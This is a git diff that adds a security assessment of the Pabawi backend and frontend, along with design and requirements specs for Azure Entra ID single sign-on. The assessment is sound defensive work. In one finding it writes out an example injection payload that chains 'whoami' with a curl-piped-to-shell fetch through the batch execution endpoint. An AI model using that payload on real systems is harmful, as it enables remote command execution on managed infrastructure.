diff --git a/.kiro/security-assessment-2026-07-02.md b/.kiro/security-assessment-2026-07-02.md new file mode 100644 index 00000000..bfacc01c --- /dev/null +++ b/.kiro/security-assessment-2026-07-02.md @@ -0,0 +1,114 @@ +# Pabawi Security Assessment — 2026-07-02 + +**Scope:** Backend (`backend/src`) auth/RBAC, command execution, web layer, MCP; frontend token handling and output rendering; dependency and configuration review. Static source review only — no runtime/DAST testing was performed. + +**Overall:** The codebase shows a strong baseline: parameterized SQL throughout, bcrypt (cost 12), JWT with `iss`/`aud` pinning and refresh-token rotation + reuse detection, helmet CSP, prototype-pollution guards, constant-time secret comparison, and `spawn(..., { shell: false })` with argv separation. The most serious issue is an **authorization + command-whitelist bypass on the batch/re-execute paths**, which lets any authenticated user run arbitrary commands on target nodes. That should be fixed before anything else. + +--- + +## Findings + +### H-1 (High) — Command-whitelist and RBAC bypass via `/api/executions/batch` and `/api/executions/:id/re-execute` + +**Location:** `backend/src/server.ts` (executions mount ~L860), `backend/src/routes/executions.ts` (`/batch` L1559, `/:id/re-execute` L755), `backend/src/services/BatchExecutionService.ts` (`executeAction` L620), `backend/src/integrations/bolt/BoltPlugin.ts` (`case "command"` L224), `backend/src/integrations/bolt/BoltService.ts` (`runCommand` L749). + +The single-node route `POST /api/nodes/:id/command` is properly gated by `rbacMiddleware('bolt','execute')` **and** `BoltCommandWhitelistService.validateCommand()`, which blocks shell metacharacters (`; | & ` `$() {} * ? [] ~ < > \` newlines) even in `allowAll` mode. + +The `/api/executions` router is mounted with `authMiddleware` + `rateLimitMiddleware` only — **no `rbacMiddleware`**. Its `POST /batch` handler accepts `{ type: "command", action: , tool: "bolt"|"ansible"|"ssh" }` and runs it through `IntegrationManager.executeAction → BoltPlugin (case "command") → BoltService.runCommand`. That path performs **no whitelist validation** and only rejects a leading `-` (`assertNoLeadingDash`). `re-execute` has the same gap. + +Consequences: +- Any authenticated user — regardless of role, including a read-only user — can execute commands on managed nodes. The `bolt:execute` permission is not enforced. +- Because Bolt runs the command in a shell **on the remote target**, shell metacharacters are interpreted remotely. A payload like `whoami; curl … | sh` submitted via `/api/executions/batch` bypasses the metacharacter filter that guards the single-node route. This is effectively remote command injection on managed infrastructure. + +**Remediation:** +- Mount `/api/executions` behind `rbacMiddleware('bolt','execute')` (and per-tool checks where appropriate), matching the single-node route. +- Route all command execution through a single choke point that calls `validateCommand()` before spawning — do not let `BatchExecutionService`/`executeAction` reach `runCommand` without whitelist validation. +- Apply the same `SHELL_META_PATTERN` check inside `BoltService.runCommand` as defense-in-depth so no future callsite can bypass it. + +--- + +### H-2 (High) — Vulnerable transitive dependency: `undici` + +**Location:** `backend` dependency tree (`npm audit`). + +`npm audit --omit=dev` reports one high-severity advisory chain in `undici <=6.26.0` (HTTP header injection via Set-Cookie percent-decoding, WebSocket DoS via fragment-count bypass, response-queue poisoning via keep-alive socket reuse, SameSite downgrade). `npm audit fix` reports a fix is available. + +**Remediation:** Run `npm audit fix` (or bump the dependency pulling in `undici`), re-run tests, and add `npm audit` to CI so regressions are caught. Given the CLAUDE.md note that extension npm deps are bundled and not lockfile-tracked, verify any bundled copies of `undici` are also updated. + +--- + +### M-1 (Medium) — Console WebSocket proxy disables upstream TLS verification + +**Location:** `backend/src/services/ConsoleWebSocketProxy.ts` L250 — `new WebSocket(upstreamUrl, { rejectUnauthorized: false })`. + +The upstream console connection is established with certificate verification disabled unconditionally, exposing the proxied console session (potentially carrying credentials/keystrokes) to MITM on the path to the upstream host. + +**Remediation:** Make TLS verification the default and gate any relaxation behind an explicit, per-integration opt-in config flag (as Proxmox/PuppetDB already do), ideally with a startup warning when disabled. + +--- + +### M-2 (Medium) — JWT access and refresh tokens stored in `localStorage` + +**Location:** `frontend/src/lib/auth.svelte.ts` (L308–312, L326–330). + +Access token, refresh token, and user object are persisted in `localStorage`, which is readable by any JavaScript running in the origin. Combined with the `{@html}` rendering paths (see L-1), any XSS becomes full account/session takeover, including a 7-day refresh token. + +**Remediation:** Prefer `HttpOnly`, `Secure`, `SameSite` cookies for token storage so tokens are not reachable from JS. If localStorage must stay, keep the strict CSP (already present) and treat any `{@html}` sink as high-risk. + +--- + +### M-3 (Medium) — "Revoke all user tokens" uses second-granularity `iat` comparison + +**Location:** `backend/src/services/AuthenticationService.ts` — `isTokenRevoked` (L600–605), `revokeAllUserTokens` (L537). + +Bulk revocation compares `decoded.iat * 1000` (JWT `iat` is second-granularity) against the revocation timestamp in milliseconds. A token minted in the same wall-clock second as the revocation can have `iat*1000 < revokedAt` fail to hold, so it may remain valid despite a "revoke all" being issued. The window is small but real for concurrent logout/revoke-then-reissue flows. + +**Remediation:** Store a per-user "tokens invalid before" epoch and reject tokens with `iat <= that epoch` (inclusive), or track individual `jti`s. Avoid relying on sub-second precision from `iat`. + +--- + +### L-1 (Low / Informational) — `{@html}` output rendering (reviewed, currently mitigated) + +**Location:** `frontend/src/lib/ansiToHtml.ts` (`ansiToHtml` L94), consumers in `CommandOutput.svelte`, `RealtimeOutputViewer.svelte`, `PuppetOutputViewer.svelte`, `ExecutionsPage.svelte`. + +Command/Puppet output is rendered with `{@html}`. This is currently safe: `ansiToHtml` HTML-escapes `& < > " '` **before** injecting `` tags, colors come from a fixed lookup table (no user-controlled style values), and the search-highlight path uses `escapeHtml(stripAnsi(...))`. No injection was found. Flagging because it is a fragile, high-impact sink: any future edit that reorders escaping or adds a user-controlled attribute reintroduces stored XSS over attacker-influenced node output. + +**Remediation:** Add a regression test asserting `ansiToHtml('')` produces no live markup, and keep the escape-first ordering invariant documented at the callsites. + +--- + +### L-2 (Low) — Stale documentation advertising deprecated `?token=` JWT-in-URL auth + +**Location:** `backend/src/routes/streaming.ts` (docstring L133–134, and `/:id/stream` doc comment). + +The implementation correctly resolves auth via single-use `?ticket=` in `streamAuthMiddleware` (JWT no longer accepted in the URL), but the docstrings still describe a `?token=` fallback. Misleading docs can lead an operator or future contributor to reintroduce JWT-in-URL (which leaks tokens into access logs). + +**Remediation:** Remove the `?token=` references from the docstrings to match the code. + +--- + +### L-3 (Low) — Authenticated config endpoint echoes the command whitelist + +**Location:** `backend/src/server.ts` L683 (`GET /api/config`); rate limiting skips `/api/config` in `securityMiddleware.ts` L69–72. + +`GET /api/config` returns `commandWhitelist` (allowAll, matchMode, entries) and timeouts. It requires authentication, so exposure is limited, but it does hand any logged-in user the exact allow/deny policy, and it is exempt from the per-user rate limiter. Low impact; note in the context of H-1 (a user who can read the whitelist can also currently bypass it). + +**Remediation:** Consider returning whitelist details only to admins, and confirm the rate-limit skip is intended. + +--- + +## Positives worth preserving + +- All reviewed SQL uses parameterized queries (`?` placeholders); interpolated fragments are fixed internal column-name constants, not user input. +- Passwords hashed with bcrypt cost 12 in production; strong password policy at setup; generic "Invalid credentials" to prevent enumeration; temporary account lockout (5 attempts / 15 min). +- JWT signed HS256 with pinned `iss`/`aud`; refresh-token rotation with reuse detection that revokes the whole token family; fail-secure revocation checks. +- Production refuses to start without a real `JWT_SECRET` (≥32 chars, placeholder strings rejected). +- Bolt spawned with `shell: false` and argv arrays; single-node command route enforces both RBAC and a metacharacter-blocking whitelist. +- `helmet` CSP (`default-src 'self'`, `object-src 'none'`, `frame-src 'none'`), prototype-pollution guard and depth limit in input sanitization, constant-time token comparison (`tokensEqual`), MCP tools gated by RBAC, OAuth flow uses state + nonce + PKCE with one-time state entries. + +## Suggested priority + +1. H-1 — close the batch/re-execute RBAC + whitelist bypass. +2. H-2 — `npm audit fix` and add audit to CI. +3. M-1, M-2, M-3 — TLS verification default, cookie-based token storage, revocation epoch precision. +4. L-1..L-3 — regression test for the HTML sink, doc cleanup, config exposure. diff --git a/.kiro/specs/azure-entra-id-auth/.config.kiro b/.kiro/specs/azure-entra-id-auth/.config.kiro new file mode 100644 index 00000000..88d16210 --- /dev/null +++ b/.kiro/specs/azure-entra-id-auth/.config.kiro @@ -0,0 +1 @@ +{"specId": "2cd475d9-ff37-4ae1-af19-3e546cc2ffff", "workflowType": "requirements-first", "specType": "feature"} \ No newline at end of file diff --git a/.kiro/specs/azure-entra-id-auth/design.md b/.kiro/specs/azure-entra-id-auth/design.md new file mode 100644 index 00000000..57a7e5fa --- /dev/null +++ b/.kiro/specs/azure-entra-id-auth/design.md @@ -0,0 +1,509 @@ +# Design Document: Azure Entra ID Authentication + +## Overview + +This design adds Azure Entra ID (OpenID Connect) as a federated authentication provider to Pabawi, running alongside the existing local username/password flow. The implementation follows the OAuth 2.0 Authorization Code Flow with PKCE, validates ID tokens via JWKS, and issues standard Pabawi JWT tokens so that downstream middleware and RBAC remain unaware of the authentication origin. + +Key design goals: +- **Zero disruption** to existing auth flows — local login continues unchanged +- **Identical JWT tokens** regardless of authentication method — auth middleware sees no difference +- **Automatic user provisioning** on first SSO login with optional account linking +- **Group-to-role synchronization** from Entra ID claims to Pabawi RBAC +- **Security-first** — PKCE, state/nonce validation, JWKS signature verification, short-lived ephemeral state + +## Architecture + +### High-Level Integration + +```mermaid +graph TB + subgraph Frontend + LP[Login Page] + AC[Auth Callback Handler] + end + + subgraph Backend + AR[Auth Routes - /api/auth/entra-id/*] + EIS[EntraIdService] + AS[AuthenticationService] + US[UserService] + RS[RoleService] + CS[ConfigService] + DB[(Database)] + SS[(State Store - DB)] + end + + subgraph External + ENTRA[Azure Entra ID] + JWKS[JWKS Endpoint] + end + + LP -->|1. Click SSO| AR + AR -->|2. 302 Redirect| ENTRA + ENTRA -->|3. Callback with code| AR + AR -->|4. Token exchange| ENTRA + AR -->|5. Validate ID token| JWKS + EIS -->|6. Provision/link user| US + EIS -->|7. Sync roles| RS + EIS -->|8. Issue Pabawi JWT| AS + AR -->|9. Redirect with auth code| AC + AC -->|10. Exchange code for tokens| AR +``` + +### Architectural Decisions + +| Decision | Rationale | +|----------|-----------| +| New `EntraIdService` class (not a BasePlugin) | This is an auth provider, not an infrastructure integration. Plugins are for inventory/execution sources. | +| Server-side state store in DB table | Supports clustered deployments; avoids in-memory state loss on restart. 10-minute TTL with cleanup. | +| Single-use authorization code for frontend token delivery | Prevents token exposure in URL fragments/history. Frontend exchanges ephemeral code for actual JWT pair. | +| JWKS caching with configurable TTL | Avoids hitting Microsoft on every login while allowing key rotation detection. | +| Group-to-role sync at login time only | Avoids continuous polling of Entra ID; roles reflect state at last login. | + +## Components and Interfaces + +### New Files + +| File | Purpose | +|------|---------| +| `backend/src/services/EntraIdService.ts` | Core SSO logic: authorization URL generation, token exchange, ID token validation, JWKS management, user provisioning orchestration | +| `backend/src/routes/entraIdAuth.ts` | Express route factory: `/api/auth/entra-id/login`, `/callback`, `/token`, and `/api/auth/providers` | +| `backend/src/database/migrations/016_entra_id_auth.sql` | New tables: `federated_identities`, `oauth_state_store` | +| `frontend/src/lib/entraIdAuth.svelte.ts` | Frontend SSO state: provider discovery, callback handling | +| `frontend/src/components/EntraIdLoginButton.svelte` | Microsoft-branded SSO button component | + +### Modified Files + +| File | Change | +|------|--------| +| `backend/src/config/ConfigService.ts` | Add Entra ID configuration parsing block | +| `backend/src/config/schema.ts` | Add `EntraIdConfigSchema` to Zod schemas | +| `backend/src/routes/auth.ts` | Add `/providers` endpoint; modify logout to include `entraIdLogoutUrl` | +| `backend/src/services/UserService.ts` | Add `createFederatedUser()` and `linkFederatedIdentity()` methods | +| `backend/src/container/DIContainer.ts` | Register `EntraIdService` in `ServiceRegistry` (optional, only when enabled) | +| `frontend/src/pages/Login.svelte` | Conditionally render SSO button based on provider discovery | + +### EntraIdService Interface + +```typescript +export interface EntraIdConfig { + enabled: boolean; + tenantId: string; + clientId: string; + clientSecret: string; + redirectUri: string; + scopes: string[]; + groupMapping: Record | null; + postLogoutRedirectUri: string; + jwksCacheTtlMs: number; +} + +export interface OAuthStateEntry { + state: string; + nonce: string; + codeVerifier: string; + createdAt: string; // ISO 8601 + expiresAt: string; // ISO 8601, createdAt + 10 minutes +} + +export interface AuthCodeEntry { + code: string; + accessToken: string; + refreshToken: string; + userId: string; + idToken: string; // stored for logout id_token_hint + authMethod: string; // 'entra-id' + createdAt: string; + expiresAt: string; // createdAt + 60 seconds +} + +export class EntraIdService { + constructor( + db: DatabaseAdapter, + config: EntraIdConfig, + authService: AuthenticationService, + userService: UserService, + roleService: RoleService, + auditLogger: AuditLoggingService, + logger: LoggerService, + ); + + /** Generate authorization URL and store state/nonce/PKCE verifier */ + generateAuthorizationUrl(): Promise<{ url: string; state: string }>; + + /** Handle callback: validate state, exchange code, validate ID token, provision user, issue tokens */ + handleCallback(code: string, state: string): Promise; + + /** Exchange frontend auth code for tokens */ + exchangeAuthCode(code: string): Promise<{ accessToken: string; refreshToken: string; user: UserDTO }>; + + /** Build Entra ID logout URL for single sign-out */ + buildLogoutUrl(idToken: string): string; + + /** Get provider info for discovery endpoint */ + getProviderInfo(): { enabled: true; name: string }; + + /** Cleanup expired state entries (called periodically) */ + cleanupExpiredState(): Promise; +} +``` + +### Route Factory + +```typescript +// backend/src/routes/entraIdAuth.ts +export function createEntraIdAuthRouter( + databaseService: DatabaseService, + container: DIContainer, +): Router; +``` + +Endpoints: +- `GET /api/auth/entra-id/login` → 302 redirect to Entra ID authorization endpoint +- `GET /api/auth/entra-id/callback` → handles OAuth callback, redirects to frontend with auth code +- `POST /api/auth/entra-id/token` → exchanges single-use auth code for Pabawi JWT pair +- `GET /api/auth/providers` → returns available auth methods (public, no auth required) + +## Data Models + +### Database Schema (Migration 016) + +```sql +-- Migration 016: Entra ID federated authentication support + +-- Federated identity links: maps external IdP subjects to Pabawi users +CREATE TABLE IF NOT EXISTS federated_identities ( + id TEXT PRIMARY KEY, + user_id TEXT NOT NULL, + provider TEXT NOT NULL, -- 'entra-id' + subject TEXT NOT NULL, -- Entra ID 'sub' claim (unique per tenant+user) + issuer TEXT NOT NULL, -- Token issuer URL + email TEXT, -- Email from IdP (informational, not authoritative) + id_token TEXT, -- Last ID token (for logout id_token_hint) + created_at TEXT NOT NULL, + updated_at TEXT NOT NULL, + FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE, + UNIQUE(provider, subject) +); + +CREATE INDEX IF NOT EXISTS idx_federated_identities_user ON federated_identities(user_id); +CREATE INDEX IF NOT EXISTS idx_federated_identities_lookup ON federated_identities(provider, subject); + +-- OAuth state store: PKCE + state + nonce for in-flight authorization requests +CREATE TABLE IF NOT EXISTS oauth_state_store ( + state TEXT PRIMARY KEY, + nonce TEXT NOT NULL, + code_verifier TEXT NOT NULL, + created_at TEXT NOT NULL, + expires_at TEXT NOT NULL +); + +CREATE INDEX IF NOT EXISTS idx_oauth_state_expires ON oauth_state_store(expires_at); + +-- Single-use authorization codes for frontend token delivery +CREATE TABLE IF NOT EXISTS oauth_auth_codes ( + code TEXT PRIMARY KEY, + access_token TEXT NOT NULL, + refresh_token TEXT NOT NULL, + user_id TEXT NOT NULL, + id_token TEXT, + auth_method TEXT NOT NULL DEFAULT 'entra-id', + created_at TEXT NOT NULL, + expires_at TEXT NOT NULL, + exchanged INTEGER NOT NULL DEFAULT 0 +); + +CREATE INDEX IF NOT EXISTS idx_oauth_auth_codes_expires ON oauth_auth_codes(expires_at); +``` + +### TypeScript Interfaces + +```typescript +interface FederatedIdentity { + id: string; + userId: string; + provider: string; + subject: string; + issuer: string; + email: string | null; + idToken: string | null; + createdAt: string; + updatedAt: string; +} +``` + +### Configuration Schema (Zod) + +```typescript +export const EntraIdConfigSchema = z.object({ + enabled: z.boolean().default(false), + tenantId: z.string().min(1), + clientId: z.string().min(1), + clientSecret: z.string().min(1), + redirectUri: z.string().url(), + scopes: z.array(z.string()).default(['openid', 'profile', 'email']), + groupMapping: z.record(z.string(), z.string()).nullable().default(null), + postLogoutRedirectUri: z.string().url().optional(), + jwksCacheTtlMs: z.number().int().positive().default(86400000), // 24 hours +}); +``` + +The `ConfigService` parsing block follows the same pattern as other integrations: +- `ENTRA_ID_ENABLED !== "true"` → skip entirely, no other vars required +- `ENTRA_ID_ENABLED === "true"` → parse and validate all required vars; throw on missing/invalid + +## OAuth 2.0 Flow Sequence + +```mermaid +sequenceDiagram + participant U as User Browser + participant FE as Frontend + participant BE as Backend (EntraIdService) + participant DB as Database + participant AAD as Azure Entra ID + + Note over U,AAD: Phase 1: Initiation + U->>FE: Click "Sign in with Microsoft" + FE->>BE: GET /api/auth/entra-id/login + BE->>BE: Generate state (32 bytes), nonce (32 bytes), code_verifier (43-128 chars) + BE->>BE: Compute code_challenge = BASE64URL(SHA256(code_verifier)) + BE->>DB: Store {state, nonce, code_verifier} with 10min TTL + BE->>U: 302 → https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize?... + + Note over U,AAD: Phase 2: User Authentication (at Microsoft) + U->>AAD: Authenticate (credentials, MFA, etc.) + AAD->>U: 302 → redirect_uri?code=...&state=... + + Note over U,AAD: Phase 3: Callback Processing + U->>BE: GET /api/auth/entra-id/callback?code=...&state=... + BE->>DB: Lookup state entry, verify not expired + BE->>DB: Delete state entry (one-time use) + BE->>AAD: POST /oauth2/v2.0/token {code, code_verifier, client_secret, ...} + AAD-->>BE: {access_token, id_token, ...} + + Note over U,AAD: Phase 4: Token Validation + BE->>AAD: GET /discovery/v2.0/keys (JWKS, cached) + BE->>BE: Verify ID token signature (RS256) + BE->>BE: Validate nonce, aud, iss, exp claims + + Note over U,AAD: Phase 5: User Provisioning + BE->>DB: Lookup federated_identities WHERE provider='entra-id' AND subject=sub + alt New user + BE->>DB: Check users WHERE email = id_token.email + alt Email match exists + BE->>DB: Link federated identity to existing user + else No match + BE->>DB: Create new user (federation-only, null password_hash) + BE->>DB: Assign default role + end + end + BE->>BE: Sync group-to-role mapping (if configured) + + Note over U,AAD: Phase 6: Session Issuance + BE->>BE: Generate Pabawi JWT (access + refresh) via AuthenticationService + BE->>DB: Store single-use auth code → tokens mapping (60s TTL) + BE->>DB: Update last_login_at + BE->>DB: Write audit log (AUTH, LOGIN_SUCCESS, method=entra-id) + BE->>U: 302 → frontend_url?code=auth_code + + Note over U,AAD: Phase 7: Frontend Token Exchange + U->>FE: Page loads with ?code= parameter + FE->>BE: POST /api/auth/entra-id/token {code} + BE->>DB: Lookup auth code, verify not expired/exchanged + BE->>DB: Mark auth code as exchanged + BE-->>FE: {token, refreshToken, user} + FE->>FE: Store in authManager, navigate to landing page +``` + +## Error Handling + +| Scenario | HTTP Status | Error Code | Response | +|----------|-------------|------------|----------| +| Entra ID disabled, SSO endpoint hit | 404 | — | Standard 404 | +| Missing/invalid state on callback | 400 | `INVALID_STATE` | State parameter missing or mismatched | +| State expired (>10 min) | 400 | `SESSION_EXPIRED` | Authentication session expired | +| Token exchange failure (non-2xx from AAD) | 401 | `TOKEN_EXCHANGE_FAILED` | Could not exchange authorization code | +| Token exchange network timeout (>10s) | 401 | `TOKEN_EXCHANGE_FAILED` | Token endpoint unreachable | +| ID token signature invalid | 401 | `INVALID_ID_TOKEN` | Token signature verification failed | +| ID token nonce mismatch | 401 | `INVALID_ID_TOKEN` | Token nonce validation failed | +| ID token aud/iss mismatch | 401 | `INVALID_ID_TOKEN` | Token audience/issuer mismatch | +| ID token expired (>5min skew) | 401 | `INVALID_ID_TOKEN` | Token has expired | +| AAD returns error parameter | 401 | `AUTH_PROVIDER_ERROR` | Includes AAD error + description | +| Missing email/preferred_username claims | 401 | `MISSING_CLAIMS` | Required identity claims absent | +| User provisioning DB failure | 500 | `PROVISIONING_FAILED` | Account creation failed | +| Auth code expired or already exchanged | 400 | `INVALID_AUTH_CODE` | Authorization code invalid | +| JWKS endpoint unreachable, no cache | 503 | `JWKS_UNAVAILABLE` | Cannot verify token signatures | +| Config missing at request time | 500 | `SERVER_CONFIGURATION_ERROR` | Server configuration problem | + +All error responses follow the existing `{ error: { code, message } }` pattern from `utils/errorHandling.ts`. + +Sensitive values (client_secret, authorization codes, tokens) are never logged. The `LoggerService` calls use only metadata like `{ component: 'EntraIdService', operation: 'handleCallback' }`. + + +## Correctness Properties + +*A property is a characteristic or behavior that should hold true across all valid executions of a system — essentially, a formal statement about what the system should do. Properties serve as the bridge between human-readable specifications and machine-verifiable correctness guarantees.* + +### Property 1: Non-"true" ENTRA_ID_ENABLED skips config validation + +*For any* string value of `ENTRA_ID_ENABLED` that is not exactly `"true"` (including undefined, empty, "false", "yes", "1", random strings), the ConfigService SHALL parse without error and without requiring any other `ENTRA_ID_*` variables. + +**Validates: Requirements 1.1** + +### Property 2: Missing required variables produce comprehensive error + +*For any* non-empty subset of the required variables (`ENTRA_ID_TENANT_ID`, `ENTRA_ID_CLIENT_ID`, `ENTRA_ID_CLIENT_SECRET`, `ENTRA_ID_REDIRECT_URI`) that are undefined or empty when `ENTRA_ID_ENABLED` is `"true"`, the ConfigService SHALL throw an error whose message contains the name of every missing variable in that subset. + +**Validates: Requirements 1.2, 1.3** + +### Property 3: Scope parsing discards empty entries + +*For any* comma-separated string set as `ENTRA_ID_SCOPES`, the parsed scope array SHALL contain no empty strings, and when `ENTRA_ID_SCOPES` is unset, the result SHALL default to `["openid", "profile", "email"]`. + +**Validates: Requirements 1.4** + +### Property 4: Group mapping JSON round-trip + +*For any* valid `Record` object serialized as JSON and set as `ENTRA_ID_GROUP_MAPPING`, the parsed configuration SHALL produce an equivalent object. For any string that is not valid JSON or does not parse to a `Record`, parsing SHALL throw a validation error. + +**Validates: Requirements 1.5, 1.6** + +### Property 5: Authorization URL contains all required parameters + +*For any* valid Entra ID configuration (tenant_id, client_id, redirect_uri, scopes), calling `generateAuthorizationUrl()` SHALL produce a URL containing query parameters `response_type=code`, `client_id` matching the configured value, `redirect_uri` matching the configured value, all configured scopes in the `scope` parameter, a `state` parameter of at least 32 bytes of entropy, a `nonce` parameter of at least 32 bytes of entropy, `code_challenge_method=S256`, and a `code_challenge` parameter. + +**Validates: Requirements 2.2** + +### Property 6: PKCE code_verifier/code_challenge correctness + +*For any* call to `generateAuthorizationUrl()`, the stored `code_verifier` SHALL be between 43 and 128 characters (inclusive) per RFC 7636, and the `code_challenge` parameter in the URL SHALL equal `BASE64URL(SHA256(code_verifier))`. + +**Validates: Requirements 2.3, 9.3** + +### Property 7: State mismatch rejects callback + +*For any* callback request where the `state` query parameter does not exactly match the stored state value (including missing, empty, or expired state), the service SHALL reject the request with HTTP 400 and error code `INVALID_STATE` without contacting the token endpoint. + +**Validates: Requirements 3.2, 3.6, 9.1** + +### Property 8: ID token signature validation + +*For any* JWT signed with a key present in the JWKS key set, signature validation SHALL pass. *For any* JWT signed with a key NOT present in the JWKS key set, signature validation SHALL fail and the callback SHALL return HTTP 401 with error code `INVALID_ID_TOKEN`. + +**Validates: Requirements 3.3** + +### Property 9: Nonce mismatch rejects token + +*For any* ID token where the `nonce` claim does not match the stored nonce value, the service SHALL reject the token and return HTTP 401 with error code `INVALID_ID_TOKEN`. + +**Validates: Requirements 3.4, 9.2** + +### Property 10: Audience and issuer validation + +*For any* ID token where the `aud` claim does not match the configured `client_id` OR the `iss` claim does not match `https://login.microsoftonline.com/{tenant_id}/v2.0`, the service SHALL reject the token with error code `INVALID_ID_TOKEN`. + +**Validates: Requirements 3.5** + +### Property 11: State entries deleted after callback processing + +*For any* callback execution (whether successful or failed), the `oauth_state_store` entry matching the request's state parameter SHALL be deleted, ensuring it cannot be reused. + +**Validates: Requirements 3.10** + +### Property 12: New federated user provisioning invariant + +*For any* valid ID token claims (sub, email, preferred_username/derived username, given_name, family_name) where no federated identity exists with that sub: the service SHALL create a user with `is_active=1`, null `password_hash`, a federated_identities record with `provider='entra-id'` and `subject=sub`, and SHALL assign the default viewer role. + +**Validates: Requirements 4.1, 4.2, 4.5** + +### Property 13: Existing federated user profile immutability + +*For any* returning user (federated identity already linked), calling the provisioning flow with different claim values (name, email) SHALL NOT modify the existing user record's `first_name`, `last_name`, or `email` fields. + +**Validates: Requirements 4.3** + +### Property 14: Username derivation from invalid preferred_username + +*For any* `preferred_username` that does not match the pattern `^[a-zA-Z0-9_]{3,50}$`, the service SHALL derive the username from the email local-part by replacing all characters not in `[a-zA-Z0-9_]` with underscores and truncating to 50 characters. + +**Validates: Requirements 4.7** + +### Property 15: Group-to-role synchronization correctness + +*For any* group mapping configuration and any `groups` claim array (with UUIDs in any case), the user SHALL end up with exactly the Pabawi roles whose group IDs are present in both the mapping keys (case-insensitive comparison) and the groups claim, plus any roles that were not part of the mapping (manually assigned). Roles previously assigned by the mapping whose group IDs are no longer in the claim SHALL be revoked. + +**Validates: Requirements 5.1, 5.2, 5.3** + +### Property 16: Authorization code single-use and TTL + +*For any* successfully generated auth code, the code SHALL have `expires_at` ≤ 60 seconds from creation. After a successful exchange, any subsequent exchange attempt with the same code SHALL be rejected. After the code expires, exchange SHALL also be rejected. + +**Validates: Requirements 6.2, 6.3, 6.4** + +### Property 17: Providers endpoint always includes local authentication + +*For any* application configuration state (Entra ID enabled or disabled, any combination of integrations), the `GET /api/auth/providers` response SHALL always contain `{ "local": true }`. + +**Validates: Requirements 11.2** + +## Testing Strategy + +### Property-Based Testing + +Property-based tests will use **fast-check** (already a project dependency) with a minimum of 100 iterations per property. + +Properties particularly well-suited for PBT in this feature: +- **Config parsing properties (1–4)**: Generate random env var combinations +- **PKCE correctness (6)**: Verify math relationship across many generations +- **Token validation properties (7–10)**: Generate tokens with random claim permutations +- **Username derivation (14)**: Generate random strings, verify transformation rules +- **Group-to-role sync (15)**: Generate random mappings and group claims, verify set arithmetic +- **Auth code single-use (16)**: Generate codes and attempt double-exchange + +Each property test will be tagged: +```typescript +// Feature: azure-entra-id-auth, Property 6: PKCE code_verifier/code_challenge correctness +``` + +### Unit Tests (Example-Based) + +- Provider discovery endpoint (11.1–11.5) +- OAuth error parameter handling (3.9) +- Email-match account linking (4.4) +- Logout URL construction (8.2, 8.3) +- Frontend component rendering based on provider state (7.5, 7.6) +- Federation-only account local login rejection (7.4) + +### Integration Tests + +- Full OAuth flow with mocked Entra ID endpoints (token exchange, JWKS fetch) +- JWKS cache fallback on endpoint failure (9.8) +- Token exchange timeout behavior (3.1) +- Database failure during provisioning — atomicity (4.8) +- Audit logging verification (6.6) + +### Frontend Tests + +- Login page provider discovery and conditional rendering (10.1–10.7) +- Auth callback handler — code extraction and token exchange (10.5, 10.6) +- SSO logout redirect (8.4) + +### Test Organization + +``` +backend/test/ +├── unit/ +│ └── EntraIdService.test.ts # Unit tests for service logic +├── properties/ +│ └── EntraIdAuth.property.test.ts # Property-based tests (fast-check) +├── integration/ +│ └── EntraIdAuthFlow.test.ts # Full flow with mocked external endpoints +└── middleware/ + └── entraIdRoutes.test.ts # Route-level tests with supertest + +frontend/src/ +├── components/ +│ └── EntraIdLoginButton.test.ts # Component test +└── lib/ + └── entraIdAuth.svelte.test.ts # Callback handler test +``` diff --git a/.kiro/specs/azure-entra-id-auth/requirements.md b/.kiro/specs/azure-entra-id-auth/requirements.md new file mode 100644 index 00000000..02fe396e --- /dev/null +++ b/.kiro/specs/azure-entra-id-auth/requirements.md @@ -0,0 +1,173 @@ +# Requirements Document + +## Introduction + +Azure Entra ID (formerly Azure AD) authentication for Pabawi, providing SSO/OAuth 2.0 + OpenID Connect as an alternative authentication method alongside the existing local username/password flow. Users authenticate via their organization's Azure tenant, with automatic provisioning on first login and group-to-role mapping from Entra ID claims. + +## Glossary + +- **Entra_ID_Provider**: The Azure Entra ID OpenID Connect identity provider that issues ID tokens and access tokens after user authentication +- **Auth_Service**: The Pabawi backend AuthenticationService responsible for issuing and verifying Pabawi JWT tokens +- **RBAC_Service**: The Pabawi permission system comprising UserService, RoleService, PermissionService, and GroupService +- **Config_Service**: The Pabawi ConfigService that loads and validates environment-variable-based configuration via Zod +- **SSO_Session**: A Pabawi session established via Entra ID authentication, represented by Pabawi-issued JWT access and refresh tokens +- **ID_Token**: An OpenID Connect JWT issued by Entra ID containing user identity claims (sub, email, name, groups) +- **Authorization_Code**: A short-lived code returned by Entra ID after user consent, exchangeable for tokens at the token endpoint +- **Nonce**: A cryptographically random value bound to the authentication request and validated in the returned ID token to prevent replay attacks +- **PKCE**: Proof Key for Code Exchange — a code_verifier/code_challenge mechanism that protects the authorization code flow against interception +- **Federated_User**: A Pabawi user account linked to an Entra ID identity via the `sub` claim (subject identifier) +- **Group_Claim**: An Entra ID token claim containing the user's Azure group memberships (object IDs or names) + +## Requirements + +### Requirement 1: Entra ID Provider Configuration + +**User Story:** As an administrator, I want to configure Azure Entra ID as an authentication provider, so that organization users can sign in with their corporate credentials. + +#### Acceptance Criteria + +1. IF `ENTRA_ID_ENABLED` is not set or is set to any value other than `"true"`, THEN THE Config_Service SHALL skip Entra ID configuration parsing and not require any other `ENTRA_ID_*` variables +2. IF `ENTRA_ID_ENABLED` is set to `"true"`, THEN THE Config_Service SHALL require `ENTRA_ID_TENANT_ID`, `ENTRA_ID_CLIENT_ID`, `ENTRA_ID_CLIENT_SECRET`, and `ENTRA_ID_REDIRECT_URI` to be non-empty strings, and SHALL validate that `ENTRA_ID_REDIRECT_URI` is a valid URL +3. IF `ENTRA_ID_ENABLED` is `"true"` and any required variable is undefined or an empty string, THEN THE Config_Service SHALL throw a configuration validation error at startup that includes the names of all missing variables +4. THE Config_Service SHALL accept an optional `ENTRA_ID_SCOPES` variable containing a comma-separated list of scope strings, defaulting to `"openid,profile,email"`, and SHALL discard empty entries resulting from the split +5. THE Config_Service SHALL accept an optional `ENTRA_ID_GROUP_MAPPING` variable containing a JSON object whose keys are Entra ID group identifier strings and whose values are Pabawi role name strings +6. IF `ENTRA_ID_GROUP_MAPPING` is set and contains invalid JSON or does not parse to an object with string keys and string values, THEN THE Config_Service SHALL throw a configuration validation error at startup indicating the parsing failure + +### Requirement 2: OAuth 2.0 Authorization Code Flow Initiation + +**User Story:** As a user, I want to click a "Sign in with Microsoft" button and be 